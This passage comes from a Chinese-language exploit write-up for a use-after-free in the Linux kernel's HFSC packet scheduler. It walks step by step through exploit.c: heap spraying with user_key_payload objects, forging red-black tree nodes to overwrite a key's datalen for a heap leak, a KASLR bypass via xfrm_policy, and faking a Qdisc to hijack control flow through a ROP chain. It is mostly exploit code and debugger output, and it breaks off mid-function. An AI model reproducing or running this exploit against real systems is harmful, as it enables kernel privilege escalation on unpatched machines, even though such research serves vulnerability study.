	heap_read_primitive->key_A_desc,
	user_key_payload_write_buffer,
	sizeof(user_key_payload_write_buffer)
);
// ????? 不需要伪造 hfsc_class->cl_e ?????  6-3. (2) 也是堆喷 user_key_payload 占据 `UAF_hfsc_class`,其中伪造了 UAF_hfsc_class->cl_e

将这个占位的struct user_key_payload记为user_key_payload_A,如果占位成功,就能布置如下内存:

c 复制代码
UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
UAF_rb_node->rb_right == NULL;
UAF_rb_node->rb_left == NULL;
UAF_hfsc_class->cl_e == 0;

问题 :分配1次就能占位成功 ??? 执行完 key_create_or_update() 之后确实堆喷篡改成功了

(3)泄露hfsc_class堆地址-class_B

目标 :创建class_B并通过入队操作,将class_B->rb_node插入到Qdisc_A->privdata->eligible.rb_node->rb_right / class_A->el_node->rb_right,也即UAF漏洞对象中,以便通过user_key_payload泄露class_B的堆地址。

创建class_B :创建struct hfsc_class对象(设置HFSC_RSC flag),记为class_B。在创建class_B时会创建默认的qdisc连接到 class_Bclass_B->qdisc 类型为pfifo

  • 调用链:tc_ctl_tclass() -> hfsc_change_class()

[exploit.c#L1128]

c 复制代码
struct tc_service_curve rsc_B = { .m1 = 1, .m2 = 1, .d = 0 };
create_hfsc_class(
	heap_read_primitive->route_socket,
	heap_read_primitive->rb_tree_interface_ifindex,
	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
	heap_read_primitive->rb_tree_interface_classid_B,
	&rsc_B,
	NULL,
	NULL
);

配置Victim_Qdisc :将入队的packet从Qdisc_A路由到class_B所连接的qdisc。

  • 调用链:tc_modify_qdisc() -> qdisc_change() -> hfsc_change_qdisc()

[exploit.c#L1139]

c 复制代码
change_hfsc_qdisc_route(
	heap_read_primitive->route_socket,
	heap_read_primitive->rb_tree_interface_ifindex,
	TC_H_ROOT,
	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
	heap_read_primitive->rb_tree_interface_classid_B
);

入队packet :通过Victim_Qdisc 入队的新packet最终流入init_ed(class_B) -> eltree_insert(class_B)目的是将class_B->rb_node插入到Qdisc_A->privdata->eligible.rb_node->rb_right / class_A->el_node->rb_right,也即UAF漏洞对象中,以便通过user_key_payload泄露class_B的堆地址

入队操作成功后,Victim_Qdisc->q.qlen == 0原先删除class_A之后该值为-1 )。因此,我们可以在调用Qdisc_A的 ->dequeue() 时就提前返回NULL,并保持class_B对象在tree上。

  • 入队调用链:hfsc_enqueue() -> pfifo_enqueue() & init_ed(class_B) -> eltree_insert(class_B)

[exploit.c#L1147]

c 复制代码
trigger_qdisc_enqueue(
	heap_read_primitive->raw_packet_socket,
	heap_read_primitive->rb_tree_interface_ifindex
);
// 调试如下:
// 调用 eltree_insert(class_B) 之前
gef> p sch 									// <--- Qdisc_A
$61 = (struct Qdisc *) 0xffff888105ac1000
gef> p sch->privdata
$62 = 0xffff888105ac1180
gef> p (*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$63 = (struct rb_node *) 0xffff888105a718a0
gef> p *(*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$64 = {
  __rb_parent_color = 0x1,
  rb_right = 0x0 <fixed_percpu_data>,
  rb_left = 0x0 <fixed_percpu_data>
}
// 调用 eltree_insert(class_B) 之后, 显示class_B已插入到 Qdisc_A->privdata->eligible.rb_node / class_A->el_node
gef> p *(*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$68 = {
  __rb_parent_color = 0x1,
  rb_right = 0xffff888105a710a0, 		// class_B->rb_node
  rb_left = 0x0 <fixed_percpu_data>
}

泄露class_B地址 :读取UAF_rb_node->rb_right来泄露&(class_B->el_node)地址,减去el_node成员偏移即可获得class_B地址,将该泄露地址记为hfsc_class_leak_address

[exploit.c#L1152]

c 复制代码
user_key_payload_read(
	heap_read_primitive->key_A,
	user_key_payload_read_buffer,
	sizeof(user_key_payload_read_buffer)
);

fake_rb_node = (struct rb_node *)
	(
		user_key_payload_read_buffer + \
		struct_hfsc_class_member_el_node_offset - \
		sizeof(struct user_key_payload)
	);

u64 hfsc_class_leak_address = (u64)fake_rb_node->rb_right - struct_hfsc_class_member_el_node_offset;
问题 - keyctl_read: Permission Denied

分析 :创建user类型的key时,权限设置为0x3f010000,但是读取时没有拥有者possess权限(无法通过is_key_possessed()检查)。正常来说,lookup_user_key() -> skey_ref = search_process_keyrings_rcu(&ctx); 应该能返回最低位为1(表示有possess权限)的key_ref_t key_ref,也即从进程中应该能搜索到user类型的key。

c 复制代码
// 解决:
// 原先exp使用 KEY_SPEC_USER_KEYRING 密钥环
add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING);
// 修改为 KEY_SPEC_SESSION_KEYRING 密钥环
add_key("user", desc, data, n, KEY_SPEC_SESSION_KEYRING);
(4)构造fake rb_tree - 2 rb_node

目的 :伪造class_A->el_node->rb_left指向class_B-user_key_payload->datalen位置,以篡改datalen

第1个rb_node - class_B
  • 删除class_B:会将&(class_B->el_node)从tree中移除,使得 Victim_Qdisc->q.qlen == -1

    [exploit.c#L1169]

    c 复制代码
    delete_tclass(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	TC_H_MAJ(heap_read_primitive->rb_tree_interface_classid_B),
    	heap_read_primitive->rb_tree_interface_classid_B
    );
  • 再次分配struct user_key_payload:记为fake_hfsc_class_backed_by_user_key_payload_B,全填充0。之前已获取user_key_payload_B地址(记为hfsc_class_leak_address )。

    [exploit.c#L1176]

    c 复制代码
    memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
    heap_read_primitive->key_B = user_key_payload_alloc(
    	heap_read_primitive->key_B_desc,
    	user_key_payload_write_buffer,
    	sizeof(user_key_payload_write_buffer)
    );
第2个rb_node - UAF class_A
  • 准备数据,用于接下来喷射user_key_payload[exploit.c#L1182]

    c 复制代码
    memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
    fake_rb_node = (struct rb_node *)
    	(
    		user_key_payload_write_buffer + \
    		struct_hfsc_class_member_el_node_offset - \
    		sizeof(struct user_key_payload)
    	);
    
    fake_rb_node->__rb_parent_color = 0 | RB_BLACK;
    fake_rb_node->rb_right = (struct rb_node *)(0);
    fake_rb_node->rb_left = (struct rb_node *) 	// UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen);
    	(
    		hfsc_class_leak_address + \
    		sizeof(struct user_key_payload) - \
    		(
    			struct_user_key_payload_member_data_offset - \
    			struct_user_key_payload_member_datalen_offset
    		)
    	);
    // hfsc_class->cl_e = 0   // memset 已清零
  • 释放user_key_payload_A,记住,当前的user_key_payload_A用于回收UAF指针。[exploit.c#L1202]

    c 复制代码
    user_key_payload_free_and_wait_for_gc(&(heap_read_primitive->key_A));
    
    void user_key_payload_free_and_wait_for_gc(key_serial_t *pkey)
    {
    	if (*pkey != -1) {
    		Keyctl_unlink(*pkey, KEY_SPEC_USER_KEYRING);
    		u32 x = 0;
    		for (u32 i = 0; i < 0xFFFFFFFF; i++)
    			x += i;
    		*pkey = -1;
    	}
    }
  • 利用以上准备的数据堆喷16个struct user_key_payload对象。为什么堆喷16个?因为有时slab中的UAF_hfsc_class空闲堆块不再是active状态。可以调整一下,多喷射一些 [exploit.c#L1204]

    c 复制代码
    for (u32 i = 0; i < heap_read_primitive->key_spray_count; i++) {
    	heap_read_primitive->key_spray[i] = user_key_payload_alloc(
    		heap_read_primitive->key_spray_descs[i],
    		user_key_payload_write_buffer,
    		sizeof(user_key_payload_write_buffer)
    	);
    }
  • UAF_rb_node的值如下所示:

    c 复制代码
    UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
    UAF_rb_node->rb_right == NULL;
    UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8; 		// 这里表示 &(fake_hfsc_class_backed_by_user_key_payload_B->datalen) 的地址
    UAF_hfsc_class->cl_e == 0;
  • 由于在分配 fake_hfsc_class_backed_by_user_key_payload_B 时设置了 datalen == 0x200,这个rb_node会被看作是 RB_RED node(因为其最低位为0,表示RB_RED)。

(5)往UAF_rb_node->rb_right添加node - class_C

目标 :添加class_C,使得UAF_hfsc_class->el_node->rb_right = class_C->el_node

  • 创建class_C :创建struct hfsc_class对象(设置HFSC_RSC flag),记为class_C。在创建过程中,class_C->qdisc指向了一个默认的pfifo qdisc。

    [exploit.c#L1212]

    c 复制代码
    struct tc_service_curve rsc_C = { .m1 = 1, .m2 = 1, .d = 0 };
    create_hfsc_class(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_C,
    	&rsc_C,
    	NULL,
    	NULL
    );
  • 配置Victim_Qdisc :将入队的packet路由到class_C连接的qdisc。[exploit.c#L1222]

    c 复制代码
    change_hfsc_qdisc_route(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	TC_H_ROOT,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_C
    );
  • 入队packet :通过Victim_Qdisc入队新packet,最终导致 init_ed(class_C) -> eltree_insert(class_C)[exploit.c#L1229]

    c 复制代码
    trigger_qdisc_enqueue(heap_read_primitive->raw_packet_socket, heap_read_primitive->rb_tree_interface_ifindex);
    // 若入队成功,则 `Victim_Qdisc->q.qlen == 0`,可使`->dequeue()`提前返回NULL(参见`hfsc_dequeue()`),并保持`class_C`位于node tree上。
  • 现在,UAF_rb_node 如下所示:

    c 复制代码
    UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
    UAF_rb_node->rb_right == &(class_C->el_node);
    UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen);
(6)寻找与UAF_rb_node重叠的user_key_payload

也即寻找第4步堆喷的user_key_payload[exploit.c#L1231]

读取user_key_payload数据,寻找UAF_rb_node->rb_right堆地址。

c 复制代码
bool found_reclaim_key = false;
for (u32 i = 0; i < heap_read_primitive->key_spray_count && !found_reclaim_key; i++) {
	user_key_payload_read(
		heap_read_primitive->key_spray[i],
		user_key_payload_read_buffer,
		sizeof(user_key_payload_read_buffer)
	);

	fake_rb_node = (struct rb_node *)
		(
			user_key_payload_read_buffer + \
			struct_hfsc_class_member_el_node_offset - \
			sizeof(struct user_key_payload)
		);
	
	if (fake_rb_node->rb_right) {
		reclaim_key = heap_read_primitive->key_spray[i];
		found_reclaim_key = true;
	}
}
(7)释放不重要的user_key_payload

[exploit.c#L1256]

c 复制代码
for (u32 i = 0; i < heap_read_primitive->key_spray_count; i++)
	if (heap_read_primitive->key_spray[i] != reclaim_key)
		user_key_payload_free(&(heap_read_primitive->key_spray[i]));
(8)触发&(hfsc_class_backed_by_user_key_payload_B->datalen) 覆写

目标 :覆写 user_key_payload_B->datalen 构造越界读,触发__rb_insert()函数修改 rb->__rb_parent_color(实际修改了user_key_payload_B->datalen)。

触发步骤
  • 创建class_D :创建struct hfsc_class对象(设置HFSC_FSC flag),记为class_D[exploit.c#L1260]

    c 复制代码
    struct tc_service_curve fsc_D = { .m1 = 1, .m2 = 1, .d = 0 };
    create_hfsc_class(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_D,
    	NULL,
    	&fsc_D,
    	NULL
    );
  • 创建Qdisc_C :创建type为pfifo_head_drop的Qdisc,设置sch->limit == 0,并连接到class_D,之后将用到这里的逻辑漏洞(这样packet入队时Victim_Qdisc->q.qlen值保持不变)。[exploit.c#L1271]

    c 复制代码
    struct tc_fifo_qopt pfifo_head_drop_qopt_C = { .limit = 0 };
    create_pfifo_head_drop_qdisc(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	heap_read_primitive->rb_tree_interface_classid_D,
    	heap_read_primitive->rb_tree_interface_qdisc_C_handle,
    	&pfifo_head_drop_qopt_C
    );
  • 配置Victim_Qdisc :将入队的packet路由到class_D连接的qdisc;[exploit.c#L1279]

    c 复制代码
    change_hfsc_qdisc_route(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	TC_H_ROOT,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_D
    );
  • packet入队-触发漏洞 :往Victim_Qdisc入队packet触发逻辑漏洞;[exploit.c#L1286] **目的就是构造 class_D->qdisc->q.len = 1,使得之后能触发hfsc_change_class() -> init_ed()覆写datalen **。

    • 第(5)步之后,Victim_Qdisc->q.qlen == 0,执行本步骤后Qdisc_C->q.qlen == 1
    • 测试该设置发现,总是能按预期走->rb_right。如果调用trigger_qdisc_enqueue(),有一定概率走->rb_left,成功概率为90%~100%。??? (原因很有可能是没有伪造好cl_e,后面劫持控制流6-3步中伪造fake_cl_e时偏移弄错了,还要减去sizeof(struct user_key_payload),exp中已更正!!!)
    c 复制代码
    trigger_qdisc_enqueue_with_bigger_packet(heap_read_primitive->raw_packet_socket, heap_read_primitive->rb_tree_interface_ifindex);	// 发送的packet size要比trigger_qdisc_enqueue()更大,packet size 是`->cl_e`计算过程的一部分
  • 触发datalen覆写 :将class_D对象从HFSC_FSC flag 修改为 HFSC_RSC flag,触发内核代码路径:hfsc_change_class() -> init_ed(),触发覆写原语。

    • 问题 :有两条路径能触发 init_ed()。为什么选取后者?

      • hfsc_enqueue() -> init_ed() ------ 条件:hfsc_class->qdisc->q.qlen == 0。上一步packet入队会触发错误,提前返回,所以不会执行init_ed(),导致hfsc_class->qdisc->q.qlen == 0
      • hfsc_change_class() -> init_ed() ------ 条件:hfsc_class->qdisc->q.qlen != 0;且原先hfsc_class为RSC,需修改为FSC才会触发init_ed()
    • 答案 :如果选取第1种触发方式 hfsc_enqueue(class_D) -> init_ed(class_D),由于第(5)步通过Victim_Qdisc入队了新packet,导致Victim_Qdisc->q.qlen == 0。因此再次 hfsc_enqueue() 成功会导致 Victim_Qdisc->q.qlen == 1,之后出队时hfsc_dequeue()就会破坏 rb_tree 的构造。

    c 复制代码
    // Exp:
    struct tc_service_curve rsc_D = { .m1 = 1, .m2 = 1, .d = 0 };
    change_hfsc_class(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_D,
    	&rsc_D,
    	NULL,
    	NULL
    );
    
    // 触发覆写之前,UAF_rb_node 状态如下:
    UAF_hfsc_class->el_node->__rb_parent_color == 0x1;
    UAF_hfsc_class->el_node->rb_right == &(class_C->el_node); 			// 新加入的 class_C
    UAF_hfsc_class->el_node->rb_left == &class_B + 0x10; 				// fake_hfsc_class_backed_by_user_key_payload_B->datalen
    Qdisc_A->privdata->eligible.rb_node == &(UAF_hfsc_class->el_node); 	// dangling pointer
    
    // 触发覆写之后
    
    // 源码分析
    // cl = class_D / cl->qdisc = Qdisc_C
    // 条件1:`Qdisc_C->q.qlen == 1` => `cl->qdisc->q.qlen != 0`
    // 条件2:由于创建 class_D 时设置了 `HFSC_FSC` flag, `(old_flags & HFSC_RSC) == false` 所以会调用 init_ed()
    static int
    hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
    		  struct nlattr **tca, unsigned long *arg,
    		  struct netlink_ext_ack *extack)
    {
    	struct hfsc_sched *q = qdisc_priv(sch);
    	struct hfsc_class *cl = (struct hfsc_class *)*arg; 		// cl - class_D / cl->qdisc - Qdisc_C
    	struct hfsc_class *parent = NULL;
    	struct nlattr *opt = tca[TCA_OPTIONS];
    	struct nlattr *tb[TCA_HFSC_MAX + 1];
    	struct tc_service_curve *rsc = NULL, *fsc = NULL, *usc = NULL;
    	u64 cur_time;
    	int err;
    
    	if (opt == NULL)
    		return -EINVAL;
    
    	err = nla_parse_nested_deprecated(tb, TCA_HFSC_MAX, opt, hfsc_policy,
    					  NULL);
    	if (err < 0)
    		return err;
    
    	if (tb[TCA_HFSC_RSC]) {
    		rsc = nla_data(tb[TCA_HFSC_RSC]);
    		if (rsc->m1 == 0 && rsc->m2 == 0)
    			rsc = NULL;
    	}
    	/* Writeup note: Deleted code for clarity */
    
    	if (cl != NULL) {
    		int old_flags;
    		/* Writeup note: Deleted code for clarity */
    
    		sch_tree_lock(sch);
    		old_flags = cl->cl_flags;
    
    		if (rsc != NULL)
    			hfsc_change_rsc(cl, rsc, cur_time);
    		/* Writeup note: Deleted code for clarity */
    
    		if (cl->qdisc->q.qlen != 0) { 	// [1] 条件1 - `Qdisc_C->q.qlen == 1`   需满足条件 hfsc_class->qdisc->q.qlen != 0
    			int len = qdisc_peek_len(cl->qdisc);
    
    			if (cl->cl_flags & HFSC_RSC) {
    				if (old_flags & HFSC_RSC)  // [2] 条件2 - 原先设置的是 `HFSC_FSC`  条件:原先`hfsc_class`为RSC,需修改为FSC才会触发
    					update_ed(cl, len);
    				else
    					init_ed(cl, len); 	// [3] <--- init_ed() 
    			}
    
    			/* Writeup note: Deleted code for clarity */
    		}
    		sch_tree_unlock(sch);
    
    		return 0;
    	}
    	/* Writeup note: Deleted code for clarity */
    }
代码分析

调用链:

  • hfsc_change_class() -> init_ed() -> eltree_insert() -> rb_link_node() -> rb_insert_color() -> __rb_insert()

调试分析:参见 3-4 红黑树节点插入的原理,待插入 class_D 是右儿子(不重要),父节点是祖父的右儿子,父红叔叔红,走第[5]条路。

c 复制代码
// UAF_rb_node - class_A->el_node   rb_tree的root_node根节点,所有class的 `class_D->sched->eligible.rb_node` 都指向它
gef> p cl->sched->eligible.rb_node                // {1} class_D->sched->eligible.rb_node
$35 = (struct rb_node *) 0xffff888104bd78a0
gef> p *cl->sched->eligible.rb_node
$36 = {
  __rb_parent_color = 0x1,
  rb_right = 0xffff888104bd80a0,                  // {2} rb_right -> class_C  加入class_C后,已将 rb_right 指向 class_C
  rb_left = 0xffff888104bd7c10                    // {3} 原先的class_B+0x10
}
// {2} rb_right -> class_C
gef> p *(struct rb_node*)0xffff888104bd80a0         // red
$46 = {
  __rb_parent_color = 0xffff888104bd78a0, 			// parent - UAF_rb_node
  rb_right = 0xffff888104bd84a0, 					// {4} class_D
  rb_left = 0x0 <fixed_percpu_data>
}
// {3} rb_left -> class_B+0x10      	hfsc_class_backed_by_user_key_payload_B->datalen
gef> p *(struct rb_node*)0xffff888104bd7c10
$48 = {
  __rb_parent_color = 0x200,
  rb_right = 0x0 <fixed_percpu_data>,
  rb_left = 0x0 <fixed_percpu_data>
}
// {4} class_D 
gef> p node
$41 = (struct rb_node *) 0xffff888104bd84a0         // node - cl->el_node - class_D->el_node
gef> p *node
$43 = {
  __rb_parent_color = 0xffff888104bd80a0,           // parent 是 root->rb_node->rb_right - class_C->el_elnode
  rb_right = 0x0 <fixed_percpu_data>,
  rb_left = 0x0 <fixed_percpu_data>
}
/* rb_tree 结构如下所示
                		  {1} UAF_rb_node
                	      /             \
       {2} user_key_payload_B+0x10    {3} class_C
                                                \
                                             {4} class_D
由于父节点是祖父的右儿子,父红叔叔红,走第[5]条路  → 父叔染黑,祖父染红,继续向上处理。
原本是将  叔叔->__rb_parent_color = 祖父 | RB_BLACK
结果却是  *(user_key_payload_B+0x10) = p | 1,  错误将 user_key_payload_B->datalen 篡改为一个非常大的指针,导致越界读
*/

源码如下:

c 复制代码
static void
init_ed(struct hfsc_class *cl, unsigned int next_len) 	// cl - class_D / cl->qdisc - Qdisc_C
{
	...
	cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul);
	cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len);

	eltree_insert(cl); 				// <--- eltree_insert()
}
// eltree_insert()
static void
eltree_insert(struct hfsc_class *cl)
{
	struct rb_node **p = &cl->sched->eligible.rb_node;
	struct rb_node *parent = NULL;
	struct hfsc_class *cl1;

	while (*p != NULL) {
		parent = *p;
		cl1 = rb_entry(parent, struct hfsc_class, el_node);
		if (cl->cl_e >= cl1->cl_e)
			p = &parent->rb_right; 			// !!!!! 目标是走这条路
		else
			p = &parent->rb_left;
	}
	rb_link_node(&cl->el_node, parent, p);
	rb_insert_color(&cl->el_node, &cl->sched->eligible); 	// <--- rb_insert_color()
}
// rb_insert_color()
void rb_insert_color(struct rb_node *node, struct rb_root *root)
{
	__rb_insert(node, root, dummy_rotate); 	// <--- __rb_insert()
}
// __rb_insert()
static __always_inline void
__rb_insert(struct rb_node *node, struct rb_root *root,
	    void (*augment_rotate)(struct rb_node *old, struct rb_node *new))
{
	struct rb_node *parent = rb_red_parent(node), *gparent, *tmp;

	while (true) {
		if (unlikely(!parent)) { 					// [1] 插入节点是根 → 染黑
			rb_set_parent_color(node, NULL, RB_BLACK);
			break;
		}

		if(rb_is_black(parent)) 					// [2] 父节点是黑 → 直接完成
			break;

		gparent = rb_red_parent(parent);

		tmp = gparent->rb_right;
		if (parent != tmp) { 		// left - 父节点 / right - 叔叔节点tmp
			...
		} else { 					// right - 父节点 / left - 叔叔节点tmp
			tmp = gparent->rb_left;
			if (tmp && rb_is_red(tmp)) { 			// [5] 父红 叔叔红  → 父叔染黑,祖父染红,继续向上处理
				rb_set_parent_color(tmp, gparent, RB_BLACK); // !!!!!!! 覆写点  <--- 覆写用到了这里
				rb_set_parent_color(parent, gparent, RB_BLACK);
				node = gparent;
				parent = rb_parent(node);
				rb_set_parent_color(node, parent, RB_RED);
				continue;
			}

			tmp = parent->rb_left;
			if (node == tmp) {
				/* Writeup note: Ignore code here */
			}

				/* Writeup note: Ignore code here */
			break;
		}
	}
}

static inline void rb_set_parent_color(struct rb_node *rb,
				       struct rb_node *p, int color)
{
	rb->__rb_parent_color = (unsigned long)p | color; 	// rb->__rb_parent_color 就是 `&(hfsc_class_backed_by_user_key_payload_B->datalen)`,我们可以将`datalen` 覆写为一个内核地址
}

4-4. 触发heap read

heap_read_primitive_trigger() - [exploit.c#L1302]

读取user_key_payload就能泄露堆,此时datalen已被覆写。

4-5. 重置heap read

heap_read_primitive_reset() - [exploit.c#L1308]

如果堆泄露没有成功,可以删除网口并释放剩下的user_key_payload

5. 绕过KASLR

find_kernel_base() - [exploit.c#L1657]

  • (1)构造heap read原语;
  • (2)堆喷xfrm_policy对象(位于kmalloc-1024);
  • (3)利用heap read原语找到xfrm_policy_timer函数指针(xfrm_policy->timer->function),绕过KASLR;
  • (4)如果泄露不成功,则重复整个过程。

6. 劫持控制流

6-0. 劫持原理&代码分析

控制流劫持调用链

  • __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - packet_sendmsg() -> packet_snd() -> packet_xmit() -> dev_queue_xmit() -> __dev_queue_xmit() -> __dev_xmit_skb() (这里入队enqueue和出队dequeue调用链都相同)
    • 入队 -> dev_qdisc_enqueue() -> hfsc_enqueue()
    • 出队 -> __qdisc_run() -> qdisc_restart() -> dequeue_skb() -> hfsc_dequeue() -> qdisc_dequeue_peeked() -> sch->dequeue() packet入队之后就会调用出队。

原理hfsc_dequeue()中的cl - hfsc_class - class_A 就是UAF漏洞对象,所以cl->qdisc可控,伪造cl->qdisc->dequeue()

条件

  • Qdisc_A / Victim_qdisc->q.qlen != 0
  • Qdisc->gso_skb.next = &Qdisc->gso_skb
c 复制代码
static struct sk_buff *
hfsc_dequeue(struct Qdisc *sch)
{
	struct hfsc_sched *q = qdisc_priv(sch);
	struct hfsc_class *cl;
	struct sk_buff *skb;
	u64 cur_time;
	unsigned int next_len;
	int realtime = 0;

	if (sch->q.qlen == 0) 					// qlen 为0,则直接返回NULL
		return NULL;

	cur_time = psched_get_time();
	cl = eltree_get_mindl(q, cur_time); 	// 在所有 eligible class 中选取 deadline 最小的 class
	...

	skb = qdisc_dequeue_peeked(cl->qdisc); 	// <--- qdisc_dequeue_peeked()
	if (skb == NULL) {
		qdisc_warn_nonwc("HFSC", cl->qdisc);
		return NULL;
	}
	...
	qdisc_bstats_update(sch, skb);
	qdisc_qstats_backlog_dec(sch, skb);
	sch->q.qlen--;

	return skb;
}

static inline struct sk_buff *qdisc_dequeue_peeked(struct Qdisc *sch)
{
	struct sk_buff *skb = skb_peek(&sch->gso_skb);

	if (skb) {
		skb = __skb_dequeue(&sch->gso_skb);
		if (qdisc_is_percpu_stats(sch)) {
			qdisc_qstats_cpu_backlog_dec(sch, skb);
			qdisc_qstats_cpu_qlen_dec(sch);
		} else {
			qdisc_qstats_backlog_dec(sch, skb);
			sch->q.qlen--;
		}
	} else {
		skb = sch->dequeue(sch);  					// <--- 控制流劫持点
	}	// 正常情况下,如果没有被劫持,则调用Qdisc_B->dequeue() - hfsc_dequeue() - 由于 sch->q.qlen == 0, 所以直接返回NULL

	return skb;
}

static inline struct sk_buff *skb_peek(const struct sk_buff_head *list_)
{
	struct sk_buff *skb = list_->next;

	if (skb == (struct sk_buff *)list_)		// 需构造 Qdisc->gso_skb.next = &Qdisc->gso_skb, 才能使 skb=NULL
		skb = NULL;
	return skb;
}

EXP中实现函数有4个:

  • code_execution_primitive_init()
  • code_execution_primitive_setup_network_interface()
  • code_execution_primitive_build_primitive()
  • code_execution_primitive_trigger()

6-1. 初始化

code_execution_primitive_init() - [exploit.c#L1318]

  • (1)创建 NETLINK_ROUTE socket
  • (2)创建 raw packet socket
  • (3)准备 3 个 qdisc handle 和 2 个 classid
  • (4)准备用于分配 struct user_key_payload 对象的参数

6-2. 设置网口

code_execution_primitive_setup_network_interface() - [exploit.c#L1370]

  • (1)创建一个dummy 假的网络接口,设置mtu == IPV6_MIN_MTU - 1,以避免内核调用ipv6_add_dev()。原因:
    • ipv6_add_dev() -> timer_setup(&ndev->rs_timer, addrconf_rs_timer, 0)
    • addrconf_rs_timer() -> ndisc_send_rs() -> ndisc_send_skb()
    • ndisc_send_skb() 会导致packet被发送到网络接口并触发 sch->enqueue(),这会使调度器构造过程混乱。
  • (2)设置dummy假网口的状态为开启。

6-3. 控制流劫持

code_execution_primitive_build_primitive() - [exploit.c#L1382]

目标 :堆喷user_key_payload占据class_B(需泄露其堆地址)并伪造Qdisc结构和ROP链,然后堆喷user_key_payload占据class_AUAF_hfsc_class),伪造UAF_hfsc_class->qdisc = &class_B。最终通过packet入队来触发cl->qdisc->dequeue劫持控制流。

(1)步骤1:触发UAF [exploit.c#L1393]

  • 参见heap_read_primitive_build_primitive()的第1步。

(2)步骤2:堆喷user_key_payload占用UAF_hfsc_class [exploit.c#L1409]

  • 参见heap_read_primitive_build_primitive()的第2步。

(3)步骤3:泄露struct hfsc_class对象的堆地址 [exploit.c#L1428]

  • 参见heap_read_primitive_build_primitive()的第3步。这里会创建class_B且有packet入队操作,使得Victim_Qdisc->q.qlen == 0

(4)步骤4:准备user_key_payload数据以构造fake Qdisc / ROPChain

  • 这一步是LTS和COS EXP唯一不同的一步。

(5)步骤5:删除class_B [exploit.c#L1508]

  • 第3步已获得class_B地址。这里删除class_B之后,导致Victim_Qdisc->q.qlen == -1 。参见调试记录 debug.c

    c 复制代码
    delete_tclass(
    	code_execution_primitive->route_socket,
    	code_execution_primitive->network_interface_ifindex,
    	TC_H_MAJ(code_execution_primitive->classid_B),
    	code_execution_primitive->classid_B
    );

(6)步骤6:堆喷user_key_payload占据class_B,构造fake Qdisc / ROPChain [exploit.c#L1515]

c 复制代码
code_execution_primitive->key_B = user_key_payload_alloc(
	code_execution_primitive->key_B_desc,
	user_key_payload_write_buffer,
	sizeof(user_key_payload_write_buffer)
);

(7)步骤7:释放user_key_payload_A,堆喷user_key_payload,使得UAF_hfsc_class->qdisc指向第4步准备的fake Qdisc [exploit.c#L1521]

c 复制代码
memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
fake_qdisc = (u64 *)
	(
		user_key_payload_write_buffer + \
		struct_hfsc_class_member_qdisc_offset - \
		sizeof(struct user_key_payload)
	);
*fake_qdisc = hfsc_class_leak_address + sizeof(struct user_key_payload);
fake_cl_e = (u64 *)
	(
		user_key_payload_write_buffer + \
		struct_hfsc_class_member_cl_e_offset - \
		sizeof(struct user_key_payload)
	);
*fake_cl_e = 0;
user_key_payload_free_and_wait_for_gc(&(code_execution_primitive->key_A));
for (u32 i = 0; i < code_execution_primitive->key_spray_count; i++)
	user_key_payload_alloc(
		code_execution_primitive->key_spray_descs[i],
		user_key_payload_write_buffer,
		sizeof(user_key_payload_write_buffer)
	);

(8)步骤8:需要->enqueue()成功执行,以触发->dequeue(),通过以下步骤来确保->enqueue()最后返回NET_XMIT_SUCCESS

目的 :创建正常的Qdisc_C,以便后续通过packet入队来触发cl->qdisc->dequeue劫持控制流。

  • 创建pfifo_head_drop qdisc,设置sch->limit == 0xFFFFFFFF,并连接到Victim_Qdisc的root class,这里也可以选取其他qdisc类型。

    [exploit.c#L1544]

    c 复制代码
    struct tc_fifo_qopt pfifo_head_drop_qopt = { .limit = 0xFFFFFFFF };
    create_pfifo_head_drop_qdisc(
    	code_execution_primitive->route_socket,
    	code_execution_primitive->network_interface_ifindex,
    	code_execution_primitive->qdisc_A_handle,
    	code_execution_primitive->qdisc_C_handle,
    	&pfifo_head_drop_qopt
    );
  • 配置Victim_Qdisc:将入队的packet路由到root class连接的qdisc。

    [exploit.c#L1552]

    c 复制代码
    change_hfsc_qdisc_route(
    	code_execution_primitive->route_socket,
    	code_execution_primitive->network_interface_ifindex,
    	TC_H_ROOT,
    	code_execution_primitive->qdisc_A_handle,
    	code_execution_primitive->qdisc_A_handle
    );

6-4. 触发控制流劫持

code_execution_primitive_trigger() - [exploit.c#L1561]

c 复制代码
void code_execution_primitive_trigger(struct code_execution_primitive *code_execution_primitive)
{
	trigger_qdisc_enqueue(
		code_execution_primitive->raw_packet_socket,
